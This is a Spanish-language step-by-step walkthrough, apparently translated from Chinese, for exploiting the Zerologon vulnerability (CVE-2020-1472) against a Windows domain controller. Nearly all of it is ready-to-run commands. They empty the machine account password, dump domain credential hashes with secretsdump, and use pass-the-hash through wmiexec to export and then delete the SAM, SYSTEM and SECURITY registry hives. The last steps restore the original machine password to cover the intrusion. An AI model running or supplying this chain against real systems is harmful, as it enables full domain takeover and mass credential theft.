cve-2020-1472

@toc

Principio de la vulnerabilidad

El principio es bastante complejo; si estás interesado, puedes consultar el artículo en el siguiente enlace https://www.freebuf.com/articles/system/249860.html

Explotación

1. Modificar el archivo impacket.dcerpc.v5.nrpc

Es necesario utilizar el archivo https://github.com/SecureAuthCorp/impacket/edit/master/impacket/dcerpc/v5/nrpc.py para reemplazar el archivo nrpc local. La ruta de almacenamiento del archivo nrpc local es: C:\Users\Administrator\AppData\Local\Programs\Python\Python38\Lib\site-packages\impacket\dcerpc\v5\nrpc.py

2. Vaciar la contraseña de la cuenta de máquina yukong$

python cve-2020-1472-exploit.py 机器账户名 ip Además, se descubre que la contraseña de la cuenta de máquina ya se ha vaciado; 31dc... representa una contraseña vacía.

Formas de obtener la cuenta de máquina del objetivo o su nombre NetBIOS:

1. net view El nombre de este servidor con $ es el nombre de la máquina, por ejemplo lisi$ o yukong$.

2. nbtstat -A ip Hay muchas formas de determinar la IP del controlador de dominio, por ejemplo:
3. Revisar los hosts que tienen abierto el puerto 53
4. net time; la respuesta devolverá el nombre del host del controlador de dominio, luego basta con hacer ping
5. Con el comando systeminfo se consulta el valor del dominio; al hacer ping se obtiene la IP del controlador de dominio
6. Mirar el DNS de la propia máquina

3. Leer la contraseña de administrator

python secretsdump.py test.com/[email protected] -no-pass Se descubre que en este momento se puede usar la cuenta de máquina con contraseña vacía para leer los hash de los usuarios del controlador de dominio.

4. Descargar el archivo sam del objetivo para preparar la restauración de la contraseña de la máquina

python wmiexec.py -hashes :3dbde697d71690a769204beb12283678 test/[email protected] reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save

get system.save get sam.save get security.save

del /f system.save del /f sam.save del /f security.save

exit

Una vez completada la ejecución, los archivos descargados se pueden encontrar en la carpeta donde se encuentra el script wmiexec:

python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 test.com/[email protected] -use-vss Este comando falló al ejecutarse

5. Descifrar el archivo sam para ver la contraseña anterior de la máquina

python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL Guarda la contraseña marcada en el círculo rojo; esta es la contraseña anterior de la máquina, es decir, aad3b435b51404eeaad3b435b51404ee:999699ceadecae87fef9a2040ef2213a.

6. Restablecer la contraseña de la máquina yukong$

python reinstall_original_pw.py yukong$ 192.168.124.142 999699ceadecae87fef9a2040ef2213a

7. Comprobar si la contraseña se ha restaurado correctamente

python secretsdump.py test.com/administrator:[email protected] -just-dc-user yukong$ python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678 test/[email protected] -just-dc-user yukong$ Se confirma que la restauración se ha realizado correctamente.